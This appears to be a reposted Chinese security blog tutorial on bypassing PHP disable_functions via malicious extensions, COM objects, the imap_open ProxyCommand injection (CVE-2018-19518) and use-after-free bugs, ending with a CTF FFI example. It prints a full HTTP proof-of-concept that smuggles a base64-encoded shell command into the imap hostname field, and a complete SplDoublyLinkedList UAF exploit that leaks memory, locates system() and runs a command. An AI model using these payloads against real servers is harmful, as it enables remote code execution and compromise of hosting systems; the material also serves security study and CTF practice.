php中getdistance函数_php中函数禁用绕过的原理与利用(下)

本文首发于“合天网安实验室”作者: HhhM

加载so扩展

前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。

so文件可以从项目中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:

extension=/var/www/html/ant.so

然后重启php-fpm,如果使用如下:

d5881e8ebfd0e295451bab520a5f43a7.png

成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。

以脚本来攻击:

0762d7bdcd7c811946ae2070375b8742.png
2eaf28a20260196ab7467cf14ac69aaa.png
39b99c5c4e3fac71e8e0a525862019f6.png
25afa757cf72587be15442f0dc9c2fd2.png
b881a6f03cb3fd38e4d2165a33700f36.png
784dbeb360899c006eec5e1d6865a6ff.png
ef22e478005bfaae31bf126da8bec184.png
c9a057c606034e5fc4bdee3721c4444c.png
afd0dfa59181143bd5e197e95747475a.png
19d4a48831e29bbed561354b6ea4af1d.png
0f664d69392246cfdba0317ae5758b1d.png
75adfb1381e9e42d9c662c8d7f939289.png
caa2f7987448dc1ecc15eec05f71821a.png
c82fa890ca3ca6952da63aec89a051ef.png
af08a655efcc07d23d61c9345a452bb1.png

通过修改其内的code即可,效果如下:

7194edeab131e9cce6d8681517191b78.png

漏洞利用成功。

com组件

原理&利用

需要目标机器满足下列三个条件:

  • com.allow_dcom = true
  • extension=php_com_dotnet.dll
  • php>5.4

此时com组件开启,我们能够在phpinfo中看到:

aaba627ced2cfa92ce2061254e8cf409.png

要知道原理还是直接从exp看起:

e73c440cff4a72baf414246551dd8727.png

首先,以new COM('WScript.shell')来生成一个com对象,里面的参数也可以为Shell.Application(笔者的win10下测试失败)。

然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。

imap_open

该bypass方式为CVE-2018-19518

原理

imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);

那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过-oProxyCommand=来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。

那么我们可以先在ubuntu上试验一下:

ssh -oProxyCommand="ls>test" 192.168.2.1
3f9b18d9bd981980c8fd198cebe1ed9f.png

环境的话vulhub上有,其中给出了poc:

POST / HTTP/1.1Host: your-ipAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 125hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222//ls>test

会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。

三种UAF

EXP在:https://github.com/mm0r1/exploits

三种uaf分别是:

  • Json Serializer UAF
  • GC UAF
  • Backtrace UAF

关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。

Json Serializer UAF

漏洞出现的版本在于:

  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843

GC UAF

漏洞出现的版本在于:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date

漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:bug #72530

Backtrace UAF

漏洞出现的版本在于:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 < 7.3.15 (released 20 Feb 2020)
  • 7.4 < 7.4.3 (released 20 Feb 2020)

漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047

利用

利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。

SplDoublyLinkedList UAF

概述

这个UAF是在先知上看到的,引用原文来概述:

可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。

所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。

PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试)

exp

exp同样出自原文。

php部分:

<?phperror_reporting (0);$a = str_repeat("T", 120 * 1024 * 1024);function i2s(&$a, $p, $i, $x = 8) {    for($j = 0;$j < $x;$j++) {        $a[$p + $j] = chr($i & 0xff);        $i >>= 8;    }}function s2i($s) {    $result = 0;    for ($x = 0;$x < strlen($s);$x++) {        $result <<= 8;        $result |= ord($s[$x]);    }    return $result;}function leak(&$a, $address) {    global $s;    i2s($a, 0x00, $address - 0x10);    return strlen($s -> current());}function getPHPChunk($maps) {    $pattern = '/([0-9a-f]+-[0-9a-f]+) rw-p 00000000 00:00 0 /';    preg_match_all($pattern, $maps, $match);    foreach ($match[1] as $value) {        list($start, $end) = explode("-", $value);        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "";            return $address;        }    }}function bomb1(&$a) {    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {        return (s2i($_GET["test1"]) & 0x7ffff0000000);    }else {        die("[!]Where is here");    }}function bomb2(&$a) {    $start = s2i($_GET["test2"]);    return getElement($a, array($start, $start + 0x200000, 0x200000));    die("[!]Not Found");}function getElement(&$a, $address) {    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;        for ($y = 0;$y < 5;$y++) {            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "";                return $addr + $y * 0x08 - 0x18;            }        }    }}function getClosureChunk(&$a, $address) {    do {        $address = leak($a, $address);    }while(leak($a, $address) !== 0x00);    echo "[+]Closure Chunk: " . dechex($address) . "";    return $address;}function getSystem(&$a, $address) {    $start = $address & 0xffffffffffff0000;    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;    for($i = 0; $i < 0x1000 * 0x80; $i++) {        $addr = $start - $i * 0x20;        if ($addr < $lowestAddr) {            break;        }        $nameAddr = leak($a, $addr);        if ($nameAddr > $address || $nameAddr < $lowestAddr) {            continue;        }        $name = dechex(leak($a, $nameAddr));        $name = str_pad($name, 16, "0", STR_PAD_LEFT);        $name = strrev(hex2bin($name));        $name = explode("x00", $name)[0];        if($name === "system") {            return leak($a, $addr + 0x08);        }    }}class Trigger {    function __destruct() {        global $s;        unset($s[0]);        $a = str_shuffle(str_repeat("T", 0xf));        i2s($a, 0x00, 0x1234567812345678);        i2s($a, 0x08, 0x04, 7);        $s -> current();        $s -> next();        if ($s -> current() !== 0x1234567812345678) {             die("[!]UAF Failed");        }        $maps = file_get_contents("/proc/self/maps");        if (!$maps) {            cantRead($a);        }else {            canRead($maps, $a);        }        echo "[+]Done";    }}function bypass($elementAddress, &$a) {    global $s;    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {        die("[!]Get Closure Chunk Address Failed");    }    $closure_object = leak($a, $closureChunkAddress + 0x18);    echo "[+]Closure Object: " . dechex($closure_object) . "";    $closure_handlers = leak($a, $closure_object + 0x18);    echo "[+]Closure Handler: " . dechex($closure_handlers) . "";    if(!($system_address = getSystem($a, $closure_handlers))) {        die("[!]Couldn't determine system address");    }    echo "[+]Find system's handler: " . dechex($system_address) . "";    i2s($a, 0x08, 0x506, 7);    for ($i = 0;$i < (0x130 / 0x08);$i++) {        $data = leak($a, $closure_object + 0x08 * $i);        i2s($a, 0x00, $closure_object + 0x30);        i2s($s -> current(), 0x08 * $i + 0x100, $data);    }    i2s($a, 0x00, $closure_object + 0x30);    i2s($s -> current(), 0x20, $system_address);    i2s($a, 0x00, $closure_object);    i2s($a, 0x08, 0x108, 7);    echo "[+]Executing command: ";    ($s -> current())("php -v");}function canRead($maps, &$a) {    global $s;    if (!$chunkAddress = getPHPChunk($maps)) {        die("[!]Get PHP Chunk Address Failed");    }    i2s($a, 0x08, 0x06, 7);    if (!$elementAddress = getElement($a, $chunkAddress)) {        die("[!]Get SplDoublyLinkedList Element Address Failed");    }    bypass($elementAddress, $a);}function cantRead(&$a) {    global $s;    i2s($a, 0x08, 0x06, 7);    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {        die("[!]Please try to get address of PHP Chunk");    }    if (isset($_GET["test1"])) {        die(dechex(bomb1($a)));    }    if (isset($_GET["test2"])) {        $elementAddress = bomb2($a);    }    if (!$elementAddress) {        die("[!]Get SplDoublyLinkedList Element Address Failed");    }    bypass($elementAddress, $a);}$s = new SplDoublyLinkedList();$s -> push(new Trigger());$s -> push("Twings");$s -> push(function($x){});for ($x = 0;$x < 0x100;$x++) {    $s -> push(0x1234567812345678);}$s -> rewind();unset($s[0]);

python部分:

8abb7479691d19aa4f65aeabc5224305.png
c34d65eeb56147a076cde54aef8300df.png
ca19edce90a10926ec6a2bad6e5121ff.png

ffi扩展

ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。

原理

PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。

也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下:

9abcaa628e14d94e7dc25314460ee0d8.png

输出如下:

7100d756836125421f0ff9fe20c071fe.png

那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。

首先是cdef:

00a13d46b4ecc779a5b819871ba3883f.png

这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:

8b8154700e1d3ee3249d3c958235d7f4.png

可以看看其函数原型:

1d7f1df5be2302efdd55373d2a261509.png

取得了ffi对象后我们就可以直接调用函数了:

32c90d16c43990bf3f4db7116bd37088.png

之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。

利用

以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:

e324d2a40c8e37e5db6dbe68c5004799.png

可以发现根目录存在着flag.h跟so:

008887bfc30127364712092f604df083.png

因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。

发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。

于是有了如下:

bfece40eb760d3d19d1065a892f4c09b.png

但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:

2cefa8aa7b375b62e3c6a08f35b1c698.png

我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:

706b7d6b2b44eff21c450e1519eceb74.png
6ffc839088afeacfe8cee26462b35225.png
27d4893a8cd115ba8583c594147c9b63.png

获取到函数名后直接调用函数然后把结果打印出来即可:

da54812876055dc0825ccf8121fe4b01.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值